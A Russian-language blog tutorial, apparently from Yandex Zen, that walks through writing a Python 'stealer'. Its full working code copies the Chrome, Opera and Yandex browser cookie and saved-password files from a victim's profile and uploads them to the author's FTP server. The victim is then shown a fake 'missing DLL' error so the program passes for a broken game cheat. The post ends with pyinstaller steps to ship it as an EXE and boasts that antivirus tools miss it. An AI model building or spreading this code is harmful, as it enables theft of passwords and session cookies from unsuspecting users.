Найти в Дзене
Никита Шачков

Научимся создавать стиллер.

Напишем сегодня стиллер на пайтоне, и запакуем его в exe, чтоб он не палился антивирусами, по моим данным ( 1/67 )

Начнем с самого простого: подключения библиотек. 

import os.path import getpass from ftplib import FTP import random con = FTP("хост","логин","пароль") 

первая библиотека ( os.path ) - используется для проверки директории на валидность, точнее на то, существует ли она в природе

вторая библиотека ( getpass ) - используется для получения юзернейма пользователя, под которым запущен процесс, это нужно для доступа к папке AppData

третья библиотека ( ftplib ) - тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер

четвертая библиотека( random ) - ну тут все просто, мы рандомизируем названия файла, который отправляем на сервер

И напоследок, мы подключаемся по ftp по логину, паролю и хосту.

Теперь перейдем к более интересным вещам, чем просто библиотеки, напишем уже сами пути к директориям, где лежат наши пароли, а пароли будем воровать (в учеб.целях) из браузеров - Opera, Yandex, Google Chrome

Итак, вот код, пишем его, далее будем его разбирать

UserName = '\\' + getpass.getuser() dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies' dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies" dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker" dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies" dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" 

UserName - принимает значения имя текущего пользователя

dir_cookie_google, dir_pass_google, ...., ... - и т.д. Это все директории где хранятся пароли, нам интерестны именно эти 3 браузера. Будем забирать пароли и куки и перекидывать их себе на сервер по FTP. Потом открывать в sqlite manager, но об этом позже....

У нас имеются директории, у нас есть библиотеки для работы, что же дальше? Пора приступать к основной задаче - написанию стиллера.

Вот код, пока напишите его, а я потом расскажу о нем ))

dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox" dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex" dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software" def check(): if (os.path.exists(dir_google)) == True: filename = "google"+str(random.randint(1, 10000)) filename2 = "google_pass" + str(random.randint(1, 10000)) with open(dir_cookie_google, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_google, "rb") as content: con.storbinary("STOR %s" % filename2, content) if (os.path.exists(dir_opera)) == True: filename = "opera"+str(random.randint(1, 10000)) filename2 = "opera_pass" + str(random.randint(1, 10000)) with open(dir_cookie_opera, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_opera, "rb") as content: con.storbinary("STOR %s" % filename2, content) if (os.path.exists(dir_yandex)) == True: filename = "yandex"+str(random.randint(1, 10000)) filename2 = "yandex_pass" + str(random.randint(1, 10000)) with open(dir_cookie_yandex, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_yandex, "rb") as content: 

Код получился не маленький, что есть то есть. Рассмотрим первые строчки. В начале, до функции, мы записываем в переменные адреса наших директорий для последующей проверки на валидность. "Зачем это нужно?", - спросите вы меня. Да так проще! Зачем ставить try, except, если можно проверить на валидность с помощью os.path.exits.

Далее у идет функция, со множествами if, но тут ничего ничего сложного нет, все просто:

if (os.path.exists(dir_google)) == True: filename = "google"+str(random.randint(1, 10000)) filename2 = "google_pass" + str(random.randint(1, 10000)) with open(dir_cookie_google, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_google, "rb") as content: con.storbinary("STOR %s" % filename2, content) 

Мы проверяем, является ли директория валидной, а после открываем ее, и отправляем файл на наш сервер FTP. Такс... Функцию написали, библиотеки подключили, директории есть. Чего не хватает? Думаю, не хватает задействовать функцию и вывести на экран какую-нибудь псевдо-ошибку, что мол библиотека не подключена и все дела. Будем действовать по такой схеме))

Вот код:

check() print("Error library import HOUII.dll") print("Error RUN cheat") input() 

Первая строка - вызов функции, которая ворует пароли.

Далее выводим сообщения об "ошибке", чтобы пользователь думал, что это у него проблемы какие то. И что программа не зловредная, а наоборот, пыталась помочь. Но, как оказалось, библиотеки видите ли у него нет))

Вот и весь код, ниже он целиком:

import os.path import getpass from ftplib import FTP import random con = FTP("хост","логин","пароль") """ Hack to directory """ UserName = '\\' + getpass.getuser() dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies' dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies" dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker" dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies" dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox" dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex" dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software" def check(): if (os.path.exists(dir_google)) == True: filename = "google"+str(random.randint(1, 10000)) filename2 = "google_pass" + str(random.randint(1, 10000)) with open(dir_cookie_google, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_google, "rb") as content: con.storbinary("STOR %s" % filename2, content) if (os.path.exists(dir_opera)) == True: filename = "opera"+str(random.randint(1, 10000)) filename2 = "opera_pass" + str(random.randint(1, 10000)) with open(dir_cookie_opera, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_opera, "rb") as content: con.storbinary("STOR %s" % filename2, content) if (os.path.exists(dir_yandex)) == True: filename = "yandex"+str(random.randint(1, 10000)) filename2 = "yandex_pass" + str(random.randint(1, 10000)) with open(dir_cookie_yandex, "rb") as content: con.storbinary("STOR %s" % filename, content) with open(dir_pass_yandex, "rb") as content: con.storbinary("STOR %s" % filename2, content) check() print("Error library import HOUII.dll") print("Error RUN cheat") input() 

У нас есть код, но он на пайтоне, как же его эксплуатировать на чужом ПК?

Ответ - pyinstaller

Скачаем его:

pip install pyinstaller 

Далее скомпилируем его в EXE'шник, дабы было все проще ))

pyinstaller -F <my_script>.py 

Вот и все, по сути у нас есть EXE файл, который не палится антивирусами, ну разве что windows защитник может его заподозрить, все же мы ходим по директориям. Кроме того еще и отправляем файлы на какой то не понятный сервер.... НО на практике kaspersky, dr.web, и др популярные антивирусы не определяют его как вредоносное программное обеспечения, даже если ему тыкнуть носом, вот мол, смотри, давай его просканируем, может там вирусы трояны бэкдоры! он говорит - нет, там нету ничего....